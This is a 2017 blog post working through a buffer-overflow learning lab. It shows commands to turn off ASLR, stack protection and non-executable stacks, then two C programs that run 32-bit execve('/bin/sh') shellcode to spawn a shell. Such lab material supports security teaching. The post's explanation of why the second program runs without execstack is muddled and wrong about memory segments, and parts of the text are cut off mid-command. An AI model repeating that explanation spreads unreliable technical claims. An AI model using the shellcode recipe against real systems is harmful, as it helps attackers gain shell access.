RSS

Buffer overflow: Get a shell!

15 Mar

Initial setup

ASLR : Address Space Layout Randomization

Ubuntu and several other Linux distributions use address space randomization to randomize the starting address of heap and stack. This makes guessing the exact return address difficult; guessing addresses is one of the critical steps of a buffer overflow attack. But as our purpose is to do buffer overflow for learning we will disable this protection layer and work. We can disable address randomization using the following commands:

#sysctl -w kernel.randomize_va_space=0

To check if randomized or not, run the following command as root

# cat /proc/sys/kernel/randomize_va_space

If it says 0, that means ASLR disabled else it is not disabled.

The GCC compiler implements a security mechanism called Stack Guard to prevent buffer
overflows. In the presence of this protection, buffer overflow attacks will fail to work. You can disable this protection when you are compiling a program using the gcc option -fno-stack-

For example, to compile a program example.c with Stack Guard disabled, you can use the
following command:

# gcc -fno-stack-protector -o example example.c

Finally, Ubuntu uses NX protection to mark memory pages on the stack as non-executable.
Binaries must declare whether they require executable stacks or not as part of the ELF header. By default, gcc will mark all binaries as using non-executable stacks. To change this, add the following option to the command line in addition to the StackGuard disabling option above:

# gcc -z execstack -fno-stack-protector -o example example.c

To compile in base 32  flag “-m32 “. Flag “-g” is used for symbol tables while compiling.

# gcc -z execstack -g -m32 -fno-stack-protector -o call_shellcode call_shellcode.c

To change peda flavor to att (usually it is intel)

$nano ~/.gdbinit

after the file gets opened type:

# set att flavor in peda
set disassembly-flavor att

 

PART-A

Before you start the attack, you need a shellcode. Shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. You may use your own shell code. Consider the following program:


#include <stdio.h>
int main( ) {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

The shellcode that we use is just the assembly version of the above program. The following
program shows you how to launch a shell by executing a shellcode stored in a buffer.
Please compile and run the following code, and see whether a shell is obtained or not.


/* call_shellcode.c
*/
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}

Compile above program

$gcc -z execstack -g -m32 -fno-stack-protector -o call_shellcode call_shellcode.c

run the above executable and you will get a shell:

$./call_shellcode

PART- B

Below is a modified version of the shell code. Compile the following program without the
additional flags as:

The program as you will see will infact give you a shell. Explain why this is so? What could be the reason why the following program didn’t require the execstack flag whereas the above one needed it?
/*A program that creates a file containing code for launching shell*/

#include <stdlib.h>
#include <stdio.h>
const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80";
int main(int argc, char **argv)
{
printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
return 0;
}

To compile above code:

# gcc call_shellcode-1.c -o shell -ggdb -m32

Ans:

In first problem. The code is being copied to buffer. The code section is on stack. Thus to run the code we need to make it executable, execstack is required. Whereas in second problem, the code is in data segment.

  • data segment is usually write only and thus by default it is not executable. To make write only executable one need to use flags like “mprotect”
  • whereas if the data segment is read only it becomes executable and thus flag execstack is not required.

Once you run the code you will get shell code again. Please note if you do not use -m32 it will throw an error (segmentation fault)

 

 
Leave a comment

Posted by on March 15, 2017 in Uncategorized

 

Leave a comment